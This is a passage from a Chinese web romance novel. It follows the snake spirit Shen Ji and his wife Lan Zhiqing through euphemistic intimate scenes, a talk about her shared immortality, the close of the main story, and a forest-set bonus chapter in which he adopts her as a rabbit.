沈寂挑了挑眉,“好吧,那就不能给乖乖戴尾巴了。” 尾巴…… 如果兔兔有尾巴的话…… 小沈寂想了想,觉得欺负一下兔兔也是可以的。 第88章 第88章原配变小三 兰稚青发誓自己再也不会相信任何叫沈寂的蛇的鬼话。 本来她对小沈寂还是残留一丝信任的,可是没想到这条坏蛇这么快就本性暴露。 小沈寂对香喷喷的兔 兔埋头苦吃,最开始他只敢对兔兔舔舔亲亲,后来发现兔兔哼唧几声就不反抗了,他便又开始进一步得寸进尺。 兰稚青下意识想要挣扎,可是沈寂却轻轻松松按住了她。 “怎么了乖乖,不舒服吗?” “不要了……我不要了……” 沈寂闻言挑了挑眉,他伸手把湿哒哒的兔兔解救出来,小沈寂眨了眨眼,他又恢复了之前那一副乖巧的模样,眼巴巴地盯着兰稚青,顺便偷偷把刚刚从她身上脱下来的小恐龙内裤藏了起来。 兰稚青缩在沈寂的怀里细细喘着气,努力平复着自己的呼吸。 她觉得自己的意识已经变得疲惫困倦,可是身体却还持续处于极度的兴奋,在一瞬间她觉得自己的意识和身体产生了极度的割裂感,她懒得继续去思考,只能呆呆趴在沈寂的怀里。 兔兔宝宝好乖哦…… 小沈寂没忍住又伸手摸了摸兰稚青的手,她身上永远都是热热的,像是一团晒过太阳的棉花,埋进去还能闻到阳光暖洋洋的味道。 兰稚青没空搭理他,她默默闭上了眼睛,努力让自己忽视身上奇怪的灼热感。 沈寂微微低头亲她,他含住了她的唇瓣轻轻咬了咬,兰稚青乖乖任由他亲,整个人都挂在了沈寂的身上。 小沈寂看着有些眼热,他的眼睛直勾勾盯着兰稚青,小声道:“让我抱抱……” 沈寂没回答他,可是小沈寂已经伸手搂住了兰稚青的腰,他微微用力把兰稚青抱到了自己的怀里,埋在她身上用力吸了两口。 最开始他真的只是想闻闻兔兔的味道,可是他的自制力不够好,兰稚青无意识在他身上蹭了蹭,他一时又没忍住,又翻来覆去把兔兔吃了一遍。 兰稚青觉得自己的意识是真的已经彻底变成了浆糊。 她的大脑一片空白,早就已经分不清面前这两张脸的不同,只能凭着身体的本能做出反应。 到底是谁又在偷偷咬她…… 兰稚青努力睁大双眼,她对上了小沈寂无辜的面容,抬手用力推了他一把。 坏蛇!大坏蛇! 小沈寂一脸茫然被兰稚青推开,却发现真正的罪魁祸首沈寂正抱着眼泪汪汪的兰稚青轻声细语地安慰。 “宝宝,被咬痛了对不对?” 沈寂用手指帮兰稚青轻轻揉了揉,兰稚青哼唧两声又软了身子。 沈寂终于找到合适的理由把小沈寂赶了出去,他觉得自己还是比较喜欢吃独食,所以把兔兔又换了种方式吃了一遍。 兰稚青被沈寂抱着重新又洗了一遍澡,她有些懵然地盯着沈寂的面容,突然小声开口问道:“为什么……” 兰稚青努力不让自己就这么直接睡过去,她上下眼皮都在打架,但还是开口问道:“你不是要死掉吗?” 她本来还以为沈寂之后回来是要好几条蛇合在一起变成一条新蛇,就像是堆积木一样。 可是沈寂这次却突然出现在了这里,而且还顶着一模一样的脸。 沈寂亲了亲她的脸颊,含糊不清道:“本来是打算换个身份再回来的,但是仔细想了想还是算了。” 他要是活着暂时不死,那结婚证上那就是原配,万一死了换个身份重新开始,那他和兰稚青不就成二婚了吗。 兰稚青听到沈寂的回答也没有多想,她实在是太累了,刚刚沾到床上立马倒头就睡,完全没有任何的酝酿时间。 沈寂倒是不怎么困,他把兔子玩偶塞到了她的怀里,侧躺在兰稚青的身旁,一会儿摸摸她的头发,一会儿亲亲她的脸颊。 兰稚青最近应该是没有好好吃饭,她看着比之前更瘦了一些。 只能以后再慢慢养回来了。 沈寂轻轻叹了口气,伸手紧紧抱住了她。 睡梦中的兰稚青似有所感,她蹭了蹭沈寂,很快又步入了梦乡。 她很久没有睡过这么安稳的觉了,兰稚青梦里真的梦到自己变成了一只灰兔子,每天什么都不用做,只需要躺在草地上打滚晒太阳,她身上每一寸毛毛都被被晒得暖洋洋的。 可是等到她再度睁开眼睛,室内却还是一片昏暗,窗外传来阵阵雷声,天气预报说最近一直都有雷阵雨。 兰稚青抱着自己的兔子玩偶翻了个身,她朝自己的身旁摸了摸,却发现沈寂早就已经离开。 她的心里陡然一阵诡异的恐慌感。 习惯这件事情真的可怕,她已经很久没有自己一个人醒来了,从前沈寂在的时候她的身旁睡着沈寂,后来沈寂不在也有大白蛇小白蛇陪着她睡。 现在她突然一个人在昏暗的房间睡醒,只觉得自己好像彻底变成了孤零零的一个人。 她手忙脚乱地穿上拖鞋,下意识想要去寻找沈寂的身影。 可是还未等她出门,沈寂就已经先一步打开了房门。 “宝宝,你怎么了?” 沈寂看到兰稚青也不由得愣了一下,他顺手把兰稚青又抱回了床上,问道:“现在时间还早,怎么不继续睡了。” “你去哪里了?” “让律师去警局报备了一下。” 兰稚青在床上打了个滚,小声问道:“蛇蛇呢?” “找蛇做什么?” 沈寂按住她亲了一口,含糊道:“我刚刚蜕完皮,现在还比较虚弱,干脆把它们收起来了。” 两条笨蛇一条绿茶蛇,他不在这几天几乎把他的秘密抖了个底掉儿,他就不应该把它们放出来。 “好吧……” 兰稚青有一点小小的失望,她默默又钻被子回了里,小声道:“那就没有蛇陪我睡觉了。” “我来陪着你睡呀乖乖。” 沈寂抱着兰稚青躺回了床上,他把头埋在兰稚青的颈窝心满意足地吸了好几口,虽然两条蛇不太一样,但是现在的沈寂和六百岁的小沈寂还是有很多习惯相似。 兰稚青有些犹豫,但还是小声问道:“老公,你真的有几千岁了吗?” “什么?谁说的我有这么老了?” 沈寂闻言一怔,下意识反驳道:“我今年明明才一千零四十八岁吧。” “……” 两人沉默对视了半分钟,沈寂抿了抿唇,受伤道:“你现在不会是觉得我老了吧?” “我没有这么说……” 兰稚青下意识想要否决沈寂的话,却没想到沈寂这条坏蛇故意扭曲事实,以此为借口又把她按在被子里亲了好几口。 放在旁边的手机突然响了起来,突兀地打断了他们的动作,沈寂微不可察皱了皱眉,奇怪道:“这是谁的手机?” “应该是小沈寂的吧。” 兰稚青凑过去看了一眼,看到手机屏幕上熟悉的名字有些惊讶,奇怪道:“纪云飞,他打电话过来做什么?” “……怎么又是这个纪云飞。” 沈寂轻啧了一声,恨不得现在就给纪云飞两巴掌,纪云飞到底是什么毛病,怎么专门喜欢挑这种关键时候打电话过来。 他抱着兰稚青亲了一口,随手按下了接通键,刚刚准备把纪云飞骂得狗血淋头,电话那头的纪云飞却抢先道:“小老板吗?我昨晚连夜拟了几版大纲,您要不要先看一看?” “大纲?” 沈寂闻言皱了皱眉,他觉得有些奇怪,但是并没有直接开口打断了纪云飞,而是顺着他的话往下说。 “你先发给我看看吧。” “好嘞,我这就发到您的邮箱。” “发什么啊?” 兰稚青听沈寂和纪云飞的对话一头雾水,她有些纳闷道:“你们刚刚在聊什么呢。” “没事,就是纪云飞说要把他写的小说给我看。” 兰稚青点了点头,倒是没有多想,沈寂虽然好像不喜欢纪云飞,但是似乎和纪云飞还挺有共同话题的,可能因为他们一个喜欢写同人一个喜欢写奇奇怪怪的小说吧。 沈寂随手点开纪云飞发开的邮件,他大致扫了一眼,猛然间坐了起来。 他怎么又从原配变小三了?! 完结&番外 第89章 第89章正文完结 “怎么了?” 刚刚睡 着的兰稚青被沈寂的动作吓了一跳,她有些迷茫地睁开眼睛,下意识想要凑过去看沈寂的手机,奇怪道:“纪云飞发什么了?” “……没什么,就是些无聊的剧情。” 沈寂随口含糊了过去,他抱着兰稚青亲了几口,兰稚青实在是有点困,慢慢又在他怀里闭上了眼睛。 该死的绿毛道士,竟然敢跟他当面一套背后一套。 沈寂暗自咬牙,但还是不动声色继续和纪云飞联系。 纪云飞完全没有意识到和自己聊天的蛇已经换了蛇,他没怎么过脑子,直接又问道:【大少爷和小少爷的大纲我也写好了,您看我方便上门吗?】 大少爷小少爷? 沈寂盯着上面的几个字眉头紧皱,但还是回复道:【你不用过来了,直接发给我就行。】 手机那头的纪云飞捣鼓了两下,随后紧跟着发来了两个文件。 沈寂飞快打开扫了一眼,而后发现自己不仅成了小三,还是一个邪恶无耻反派十足的地主阶级小三。 “……” 他深吸了一口气,努力让自己忍住不要现在就过去暴打纪云飞一顿。 似乎沈寂漫长的沉默时间让纪云飞有些心慌,他犹豫了片刻,又试探发来了消息,【那个……小老板,您要是不满意的话,咱们这大纲都还可以改哈。】 【之前我给你的几百条建议你已经改完了吗?】 【……】 【沈先生,其实这是一个误会……】 沈寂懒得去看纪云飞的解释,他刚想把手机关机,可是视线却瞟到了小沈寂在手机便签留下的话,他盯着上面的文字许久,慢吞吞又抱紧了身旁的兰稚青。 兰稚青本来回笼觉睡得就很浅,几乎是在沈寂刚刚抱住她的瞬间她就睡醒,她习惯性地蹭了蹭沈寂,可是沈寂这次却没有亲她。 她有些迷茫地睁开眼睛,发现沈寂神色复杂地一直在盯着她。 “……怎么一直在看着我?” 兰稚青觉得有点奇怪,沈寂沉默了许久,轻轻开口道:“如果我告诉你,你以后也要像我一样再也没办法死掉,你会生气吗?” “为什么要生气?” 兰稚青有些疑惑地眨了眨眼,“长生不老难道不是一件好事吗?” 沈寂垂下了眸子,轻声道:“可是你也会变得像蛇一样,你会有发情期,要冬眠,虽然不会蜕皮,可是要一直活着,十年二十年乃至一百年一直活下去,久到你的家人朋友乃至宠物都会离开,可是你还继续活着。” 他和兰稚青在一起之后陷进了前所未有的幸福,让他甚至忽略了自己的过往,他还是山上一条小白蛇的时候看到和自己同龄的朋友先后过世,修成人形的第二年他几乎没见过几面的亲爹就死翘翘了,到最后他曾经出生的山头已经变成了景区,可他还是活得好好的。 他的蛇生就是在不断地离别,如果没有遇到兰稚青,他或许会一直都是孤零零的一条蛇。 他不想看到兰稚青也这样离开,可是人类的生命实在太过短暂,他只能强行把她绑在了自己的身边。 但这样对兰稚青真的公平吗?她也要眼睁睁看着自己的亲人朋友宠物过世,就像曾经的他一样。 沈寂早已记不清自己朋友过世时的难过,可是小沈寂却还记得。 他摸了摸兰稚青的脸颊,和他这种动物不一样,她身上的温度永远都是暖洋洋的。 兰稚青有些茫然地看着他,歪头道:“……好处说完了,有坏处吗?” 她的朋友大多都只是点头之交,她的家人活着也和死了没什么区别,宠物…… 大白蛇和小白蛇算宠物吗? 兰稚青陷入严肃的思考。 她趴在沈寂的身上犹豫了很久,小声问道:“我们难道不会一直在一起吗?” “我们当然会一直在一起。” “那不就行了吗。” 兰稚青凑过去亲了他一口,“你就可以充当我的家人朋友。” 顺便还有宠物。 “宝宝,你真好。” 沈寂眼里的眼泪终于再也忍不住,他紧紧抱着兰稚青,兰稚青被他抱得差点都有点没喘上气。 沈寂真的不是水蛇吗,为什么他这么能哭啊…… 兰稚青在心底小小腹诽了一下,见沈寂还是有些情绪激动,她只能拿出自己的杀手锏。 “要亲亲吗?” “……要。” 沈寂轻而易举又被哄好了,连带着他被纪云飞写成邪恶无耻反派十足的地主阶级小三的事情都抛到了脑后。 他眨了眨眼,歪头问道:“今天可以坐到我脸上吗?” 兰稚青:“……” 她就不敢多这句嘴。 ———— A市的雨连着下了小半个月,雨后天晴也正是尘埃落定的时候。 路锡鸣因为故意杀人罪被判了无期徒刑,他听说沈寂的死讯时据说差点高兴疯了,可想而知又得知沈寂死而复生后,据说直接在监狱里发起了疯。 本来路家夫妇还想花钱把他们的好大儿捞出来,可是现在因为涉嫌绑架未遂也一起锒铛入狱,一家三口整整齐齐喜提铁窗泪。 正泽大师年纪大了,虽然故意杀人和非法集资都属实,但是奈何他现在和疯子差不多,经常说一些蛇妖或者长生不老之类的疯话,现在住在精神病院每天生不如死经常被护工暴打。 兰稚青看到苟律师发来的消息,她有些嫌弃地皱了皱眉,台上系主任还在喋喋不休地发表着毕业典礼的演讲致辞。 她环视了一圈四周,发现没人注意到自己,干脆和导员打了个招呼,自己悄悄从后门溜了出去。 答辩过了,毕业照也拍了,正好是一个晴天,她也算是彻底毕业了。 兰稚青四处寻找沈寂的身影,最后才在礼堂外的海棠树下看到了他。 沈寂也不知道是在看什么,他看得很认真,完全没有察觉到兰稚青已经偷溜了出来。 兰稚青没有出声,她悄悄从后面接近了沈寂,一下子飞扑到了他的身上。 “怎么偷偷跑出来了?” 沈寂吓了一跳,但还是牢牢抱住了她。 兰稚青笑眯眯道:“因为想你了呀。” 沈寂还没来得及说话,兰稚青就突然抱着他亲了上去,而他手机屏幕上的小说也正好翻到了最后一页,上面只有三个字。 正文完。 第90章 【番外】养兔记(1)人类什么都吃…… 在美丽的大森林里,有一只名字叫做兰稚青的兔兔。 她和森林里其他的兔子不太一样,森林里的野兔皮毛是可以隐藏于环境的黄褐色,它们的脸瘦瘦的,耳朵和腿却长长的,可以更好地听到周围的风吹草动,便于飞快地逃跑。 可是兰稚青不太一样,她的毛毛是白色里搀着一点很浅很浅的灰色,她的脸是圆的,耳朵和腿都短短的。 其他兔子说她是家兔,是和人类混在一起的,会出现在这里应该是被丢掉了。 兰稚青不知道家兔和野兔有什么不一样,她只知道自己还有意识的时候就待在这片森林里,更不知道自己为什么会被丢掉。 兔子是群居动物,但是大家不愿意和她打交道,也 不愿意和她共享同一片领地,所以她只能四处在森林里打转,既要躲避猛兽的袭击,还要寻找食物养活自己。 但是最近,她找到了一个很安全的地方。 这里有一大片清澈的湖泊,地上的草柔软又细嫩,旁边还有一棵苹果树,上面的果子已经开始变红。 可是这么好的地方却没有动物会出没。 这片森林里不管是食肉动物还是食草动物都绕着这里走,据说这片领地从前是属于一条巨大无比的白蛇的。 森林里最聪明的小松鼠说,白蛇已经几百岁了,它一顿可以吃下八个兔兔外加十只野鸡,吃饱了还能吃几只小松鼠溜溜缝,就连森林里最厉害的老虎被它咬上一口也会立马死掉。 虽然大家已经很久很久没有见过白蛇的出现,可是由于这种传言,大家还是不敢随便靠近这片领地。 兰稚青最开始也有些犹豫,可是她试探性在这里偷偷待了三天,发现这里无比安全后,就彻底放下了戒心。 哪里有什么白蛇,它都活了几百岁了,可能早就已经老死了。 兰稚青的想法非常乐观,这里食物水源都很充足,是非常合适的安家地点。 她白天跑出来吃嫩嫩的草叶,躺在地上晒太阳,趴在苹果树下等着成熟的苹果掉下来,晚上就躲进树洞里藏起来睡觉。 这样舒服又自在的日子她过了好多天,如果非说忧愁的事情,那应该就只有两件。 一件是树上的苹果一直不掉下来,她眼见着苹果已经变得红彤彤的,小松鼠说苹果的味道酸酸甜甜,特别好吃,可是她不会爬树,也跳不到那么高,只能每天眼巴巴地在树下等着。 另一件事就是她身上的毛毛,兰稚青是一只爱干净的兔兔,每天早上她都会去湖泊旁仔仔细细用爪爪洗脸。 她把湖水当做镜子,仔细打量着自己身上的毛毛。 她的毛毛不是那种很深的灰色,可是也不是很纯粹的白色,而是白色里面掺杂着一点点的灰,看起来灰扑扑的。 有的时候她在想,她会不会就是因为这样才被人类丢掉的。 算了,没关系。 这样也很好了,灰灰的也很可爱呀。 兰稚青非常乐观,她用爪爪仔细洗完了脸,又跑回了苹果树底下等着苹果掉下来,今天的阳光格外的好,晒在身上暖融融的超级舒服,她不知不觉趴在苹果树下睡着了。 沈寂已经观察这只兔兔很久了。 他很久之前就已经搬家离开,只是偶尔才会回来巡视自己的领地,没想到会发现一只陌生的兔子占了他的地盘。 按照人类对于品种的划分,这只兔子应该是一只霜白色的侏儒兔,按理说这种家兔是不应该出现在森林里的,大概率应该是被人类遗弃的。 可是人类为什么要丢下这么可爱的兔兔呢。 不过话也不能说的这么绝对,换个思路想想,这只兔兔突然出现在他的领地,是不是因为上天看他单身几百年,决定帮他解决一下婚恋问题。 白蛇沈寂越想越觉得有这个可能,他躲在苹果树旁边的大树上观察着灰兔兔的行为。 她每天早上在八点钟准时睡醒,第一件事是去湖边用爪爪洗脸,然后晒着太阳吃嫩嫩的草叶,闲得无聊就在这片领地里四处打转,或者趴在苹果树底下等着苹果掉下来。 兔兔是雌的,他是雄的,兔兔是霜白色兔兔,他是纯白色蛇蛇,兔兔有两个子宫,他有两根口口,兔兔喜欢吃苹果,他也喜欢吃苹果。 综上所述,他们就是天生一对。 白蛇沈寂决定下树和未来老婆打声招呼,不过他的兔兔老婆目前还在睡觉觉,他只能慢慢蛇行到她的身边,仔细观察着面前的兔兔。 灰兔兔在草地上睡得四仰八叉的,直接露出了雪白柔软的毛绒绒肚子,她的毛毛随着她的呼吸而轻微起伏,沈寂没忍住用尾巴尖尖轻轻摸了摸。 兰稚青在睡梦中感觉有东西在摸自己的毛毛,她有些迷茫地睁开眼睛,猝不及防对上了一条巨大的白蛇。 她惊恐无比,发出了一声巨大的尖叫,哆嗦了一下竟然直接被吓晕了过去。 沈寂一脸茫然,他仔细观察了一下兔兔的情况,发现她只是晕过去了才终于放下心来。 晕过去的兔兔一时半会儿应该是醒不过来的,沈寂趁机上上下下把兔子摸了个遍。 他用尾巴把兔兔卷了起来,打算直接把她带走,但是转念一想,这样实在不是一条绅士蛇该有的行为,思索再三之后,他还是先把兔兔送回了她睡觉的树洞,而后摘了好多苹果放在洞口,表达自己的歉意。 兰稚青趴在树洞里,一直等到第二天早上才悠悠转醒,她醒来的第一件事就是上上下下把自己摸一遍,确认自己没有死掉才终于放下心来。 她想到了自己昨天看到的那只白蛇,心里觉得害怕无比,瑟缩着躲在树洞里听着外面的动静。 那条白蛇昨天没有吃掉她,但是不代表今天也不会吃她。 兰稚青小心翼翼从树洞里探出头,却发现自己的树洞前堆着好多红彤彤的大苹果。 今天是个阴天,森林里又起了雾,她完全看不清周遭发生的一切,更不敢贸然再去湖边洗脸吃草。 白蛇沈寂睡在兔兔的树洞旁边,听见兔兔挪动的苹果就第一时间醒了过来,他看到兔兔怯生生地观察着周遭的环境,试图想要在和她打声招呼。 兰稚青听到了动静,她下意识回头,看到盘踞在自己不远处的毒蛇,再度发出了一声凄厉的尖叫。 她已经完全顾不上许多,只是撒开腿用自己前所未有的速度朝前方跑去,在迷雾之中她看不清方向,她只能拼命地朝前方跑去,生怕自己会被那条白蛇追上。 她没有野兔那么长的腿,也没有野兔那么好的体力,她不知道自己在森林里跑了多久,只知道自己的体力已经快要消耗殆尽,最后跌跌撞撞,直接撞上了一个树桩。 “漂亮兔兔,你这是怎么了?” 兰稚青听到了一道好听的声音,她下意识抬起了头,发现一个长相漂亮的雄性人类正站在自己的面前,他长得很高,她必须要一直仰着脖子才能看到他的脸。 人类…… 人类好可怕,人类什么都吃。 兰稚青觉得自己今日即将命绝于此,她已经没有力气继续跑下去了,只能趴在原地吓得浑身发抖。 沈寂微微俯身把狼狈的兔兔抱了起来,他摸了摸她柔软的皮毛,温声道:“跟我回家吧,我家里有好多好吃的草,还有红彤彤的大苹果。” 兰稚青闻言有些茫然,可是她没有力气再跑了,只能乖乖趴在沈寂的怀里。 人类带着她走出了森林,坐上了一个黑黑的会移动的箱子,人类说这个东西叫做汽车,他们要坐着汽车回家。 兰稚青趴在车窗上看着外面远去的风景,她听布谷鸟说过,人类的家和森林不太一样,人类的家有好多层,里面既没有湖泊也没有绿草地。 好多人类早上早早就要出门打猎,到了晚上月亮都出来的时候还不能回家。 虽然大部分人类不会被吃掉,但是他们一个月才能领到一次猎物,有的时候都要饿得吃土。 这样看来,人类也蛮可怜的,怪不得他们要来森林里抓兔兔吃。 兰稚青被这个陌生的人类带回了家,她想到自己以后的遭遇,忍不住瑟瑟发抖。 沈寂给兔兔准备了一个专用的小浴缸,他在浴缸里放好了温热的水,准备把兔兔放到水中。 “漂亮兔兔,老……” 沈寂话说到一半陡然陷入了沉默,他盯着自己手里的兔兔开始了思考。 怎么称呼自己这又是一个问题,老公好像有点太快了,爸爸有点不太合适,主人又太过冷漠…… “漂亮兔兔,哥哥来帮你洗澡 澡。” 沈寂思来想去,觉得这个称呼最适合,进可攻退可守,简直就是为了他量身打造的。 兰稚青一进到水里就开始扑腾,人类在她身上抹了奇奇怪怪的东西,她的毛毛变得湿漉漉的,还泛起了泡沫,最后人类用水把她冲干净,拿了一个会呼呼吹风的怪东西吹干了她的毛毛。 沈寂满意看着眼前被打理干净的兔宝宝,他没忍住趴在兔兔柔软的毛毛里猛吸了一大口,满意道:“好了,现在漂亮兔兔变得干净又香香了。” 香香? 她变香香了,人类要吃掉她了…… 兰稚青吓得浑身发抖,下意识闭上了眼睛。 沈寂亲亲兔兔香香的爪爪,吸吸兔兔软软的肚皮,摸摸兔兔毛绒绒的尾巴,最后没忍住咬了咬兔兔的耳朵。 至于兔兔…… 兔兔又被吓晕过去了。